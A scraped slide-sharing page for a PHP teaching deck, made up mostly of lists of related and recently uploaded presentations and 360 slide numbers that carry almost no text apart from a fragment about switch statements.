AI improves software testing to be more fault tolerant, focused and efficientAI improves software testing to be more fault tolerant, focused and efficient
AI improves software testing to be more fault tolerant, focused and efficientKari Kakkonen
 
Java Optional (Kitworks Team Study 김성호 발표)
Java Optional (Kitworks Team Study 김성호 발표)Java Optional (Kitworks Team Study 김성호 발표)
Java Optional (Kitworks Team Study 김성호 발표)Wonjun Hwang
 
Python For Kids - Sách Lập trình cho trẻ em
Python For Kids - Sách Lập trình cho trẻ emPython For Kids - Sách Lập trình cho trẻ em
Python For Kids - Sách Lập trình cho trẻ emNho Vĩnh
 
Mind your App Footprint 🐾⚡️🌱 (@FlutterHeroes 2024)
Mind your App Footprint 🐾⚡️🌱 (@FlutterHeroes 2024)Mind your App Footprint 🐾⚡️🌱 (@FlutterHeroes 2024)
Mind your App Footprint 🐾⚡️🌱 (@FlutterHeroes 2024)François
 
Learning About GenAI Engineering with AWS PartyRock [AWS User Group Basel - F...
Learning About GenAI Engineering with AWS PartyRock [AWS User Group Basel - F...Learning About GenAI Engineering with AWS PartyRock [AWS User Group Basel - F...
Learning About GenAI Engineering with AWS PartyRock [AWS User Group Basel - F...Chris Bingham
 
VM Migration from VMware to CloudStack and KVM – Suresh Anaparti, ShapeBlue
VM Migration from VMware to CloudStack and KVM – Suresh Anaparti, ShapeBlueVM Migration from VMware to CloudStack and KVM – Suresh Anaparti, ShapeBlue
VM Migration from VMware to CloudStack and KVM – Suresh Anaparti, ShapeBlueShapeBlue
 
Mastering Play Store App Listing and Optimization
Mastering Play Store App Listing and OptimizationMastering Play Store App Listing and Optimization
Mastering Play Store App Listing and OptimizationAppsthentic Technology
 
Large Language Models and Applications in Healthcare
Large Language Models and Applications in HealthcareLarge Language Models and Applications in Healthcare
Large Language Models and Applications in HealthcareAsma Ben Abacha
 

Recently uploaded (20)

Trending now: Book subjects on the move in the Canadian market - Tech Forum 2024
Trending now: Book subjects on the move in the Canadian market - Tech Forum 2024Trending now: Book subjects on the move in the Canadian market - Tech Forum 2024
Trending now: Book subjects on the move in the Canadian market - Tech Forum 2024
 
CloudStack Tooling Ecosystem – Kiran Chavala, ShapeBlue
CloudStack Tooling Ecosystem – Kiran Chavala, ShapeBlueCloudStack Tooling Ecosystem – Kiran Chavala, ShapeBlue
CloudStack Tooling Ecosystem – Kiran Chavala, ShapeBlue
 
AI-Plugins-Planners-Persona-SemanticKernel.pptx
AI-Plugins-Planners-Persona-SemanticKernel.pptxAI-Plugins-Planners-Persona-SemanticKernel.pptx
AI-Plugins-Planners-Persona-SemanticKernel.pptx
 
Enterprise Architecture As Strategy - Book Review
Enterprise Architecture As Strategy - Book ReviewEnterprise Architecture As Strategy - Book Review
Enterprise Architecture As Strategy - Book Review
 
Microsoft x 2toLead Webinar Session 1 - How Employee Communication and Connec...
Microsoft x 2toLead Webinar Session 1 - How Employee Communication and Connec...Microsoft x 2toLead Webinar Session 1 - How Employee Communication and Connec...
Microsoft x 2toLead Webinar Session 1 - How Employee Communication and Connec...
 
eXtended Reality(XR) Basic introductions
eXtended Reality(XR) Basic introductionseXtended Reality(XR) Basic introductions
eXtended Reality(XR) Basic introductions
 
Establishing data sharing standards to promote global industry development
Establishing data sharing standards to promote global industry developmentEstablishing data sharing standards to promote global industry development
Establishing data sharing standards to promote global industry development
 
Low Latency at Extreme Scale: Proven Practices & Pitfalls
Low Latency at Extreme Scale: Proven Practices & PitfallsLow Latency at Extreme Scale: Proven Practices & Pitfalls
Low Latency at Extreme Scale: Proven Practices & Pitfalls
 
ChatGPT's Code Interpreter: Your secret weapon for SEO automation success - S...
ChatGPT's Code Interpreter: Your secret weapon for SEO automation success - S...ChatGPT's Code Interpreter: Your secret weapon for SEO automation success - S...
ChatGPT's Code Interpreter: Your secret weapon for SEO automation success - S...
 
Q4 2023 Quarterly Investor Presentation - FINAL.pdf
Q4 2023 Quarterly Investor Presentation - FINAL.pdfQ4 2023 Quarterly Investor Presentation - FINAL.pdf
Q4 2023 Quarterly Investor Presentation - FINAL.pdf
 
iOncologi_Pitch Deck_2024 slide show for hostinger
iOncologi_Pitch Deck_2024 slide show for hostingeriOncologi_Pitch Deck_2024 slide show for hostinger
iOncologi_Pitch Deck_2024 slide show for hostinger
 
Centralized TLS Certificates Management Using Vault PKI + Cert-Manager
Centralized TLS Certificates Management Using Vault PKI + Cert-ManagerCentralized TLS Certificates Management Using Vault PKI + Cert-Manager
Centralized TLS Certificates Management Using Vault PKI + Cert-Manager
 
AI improves software testing to be more fault tolerant, focused and efficient
AI improves software testing to be more fault tolerant, focused and efficientAI improves software testing to be more fault tolerant, focused and efficient
AI improves software testing to be more fault tolerant, focused and efficient
 
Java Optional (Kitworks Team Study 김성호 발표)
Java Optional (Kitworks Team Study 김성호 발표)Java Optional (Kitworks Team Study 김성호 발표)
Java Optional (Kitworks Team Study 김성호 발표)
 
Python For Kids - Sách Lập trình cho trẻ em
Python For Kids - Sách Lập trình cho trẻ emPython For Kids - Sách Lập trình cho trẻ em
Python For Kids - Sách Lập trình cho trẻ em
 
Mind your App Footprint 🐾⚡️🌱 (@FlutterHeroes 2024)
Mind your App Footprint 🐾⚡️🌱 (@FlutterHeroes 2024)Mind your App Footprint 🐾⚡️🌱 (@FlutterHeroes 2024)
Mind your App Footprint 🐾⚡️🌱 (@FlutterHeroes 2024)
 
Learning About GenAI Engineering with AWS PartyRock [AWS User Group Basel - F...
Learning About GenAI Engineering with AWS PartyRock [AWS User Group Basel - F...Learning About GenAI Engineering with AWS PartyRock [AWS User Group Basel - F...
Learning About GenAI Engineering with AWS PartyRock [AWS User Group Basel - F...
 
VM Migration from VMware to CloudStack and KVM – Suresh Anaparti, ShapeBlue
VM Migration from VMware to CloudStack and KVM – Suresh Anaparti, ShapeBlueVM Migration from VMware to CloudStack and KVM – Suresh Anaparti, ShapeBlue
VM Migration from VMware to CloudStack and KVM – Suresh Anaparti, ShapeBlue
 
Mastering Play Store App Listing and Optimization
Mastering Play Store App Listing and OptimizationMastering Play Store App Listing and Optimization
Mastering Play Store App Listing and Optimization
 
Large Language Models and Applications in Healthcare
Large Language Models and Applications in HealthcareLarge Language Models and Applications in Healthcare
Large Language Models and Applications in Healthcare
 

PHP Powerpoint -- Teach PHP with this

  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63. Case corresponding to result is executed
  • 65. break
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 91.
  • 92.
  • 93.
  • 94.
  • 95.
  • 96.
  • 97.
  • 98.
  • 99.
  • 100.
  • 101.
  • 102.
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
  • 109.
  • 110.
  • 111.
  • 112.
  • 113.
  • 114.
  • 115.
  • 116.
  • 117.
  • 118.
  • 119.
  • 120.
  • 121.
  • 122.
  • 123.
  • 124.
  • 125.
  • 126.
  • 127.
  • 128.
  • 129.
  • 130.
  • 131.
  • 132.
  • 133.
  • 134.
  • 135.
  • 136.
  • 137.
  • 138.
  • 139.
  • 140.
  • 141.
  • 142.
  • 143.
  • 144.
  • 145.
  • 146.
  • 147.
  • 148.
  • 149.
  • 150.
  • 151.
  • 152.
  • 153.
  • 154.
  • 155.
  • 156.
  • 157.
  • 158.
  • 159.
  • 160.
  • 161.
  • 162.
  • 163.
  • 164.
  • 165.
  • 166.
  • 167.
  • 168.
  • 169.
  • 170.
  • 171.
  • 172.
  • 173.
  • 174.
  • 175.
  • 176.
  • 177.
  • 178.
  • 179.
  • 180.
  • 181.
  • 182.
  • 183.
  • 184.
  • 185.
  • 186.
  • 187.
  • 188.
  • 189.
  • 190.
  • 191.
  • 192.
  • 193.
  • 194.
  • 195.
  • 196.
  • 197.
  • 198.
  • 199.
  • 200.
  • 201.
  • 202.
  • 203.
  • 204.
  • 205.
  • 206.
  • 207.
  • 208.
  • 209.
  • 210.
  • 211.
  • 212.
  • 213.
  • 214.
  • 215.
  • 216.
  • 217.
  • 218.
  • 219.
  • 220.
  • 221.
  • 222.
  • 223.
  • 224.
  • 225.
  • 226.
  • 227.
  • 228.
  • 229.
  • 230.
  • 231.
  • 232.
  • 233.
  • 234.
  • 235.
  • 236.
  • 237.
  • 238.
  • 239.
  • 240.
  • 241.
  • 242.
  • 243.
  • 244.
  • 245.
  • 246.
  • 247.
  • 248.
  • 249.
  • 250.
  • 251.
  • 252.
  • 253.
  • 254.
  • 255.
  • 256.
  • 257.
  • 258.
  • 259.
  • 260.
  • 261.
  • 262.
  • 263.
  • 264.
  • 265.
  • 266.
  • 267.
  • 268.
  • 269.
  • 270.
  • 271.
  • 272.
  • 273.
  • 274.
  • 275.
  • 276.
  • 277.
  • 278.
  • 279.
  • 280.
  • 281.
  • 282.
  • 283.
  • 284.
  • 285.
  • 286.
  • 287.
  • 288.
  • 289.
  • 290.
  • 291.
  • 292.
  • 293.
  • 294.
  • 295.
  • 296.
  • 297.
  • 298.
  • 299.
  • 300.
  • 301.
  • 302.
  • 303.
  • 304.
  • 305.
  • 306.
  • 307.
  • 308.
  • 309.
  • 310.
  • 311.
  • 312.
  • 313.
  • 314.
  • 315.
  • 316.
  • 317.
  • 318.
  • 319.
  • 320.
  • 321.
  • 322.
  • 323.
  • 324.
  • 325.
  • 326.
  • 327.
  • 328.
  • 329.
  • 330.
  • 331.
  • 332.
  • 333.
  • 334.
  • 335.
  • 336.
  • 337.
  • 338.
  • 339.
  • 340.
  • 341.
  • 342.
  • 343.
  • 344.
  • 345.
  • 346.
  • 347.
  • 348.
  • 349.
  • 350.
  • 351.
  • 352.
  • 353.
  • 354.
  • 355.
  • 356.
  • 357.
  • 358.
  • 359.
  • 360.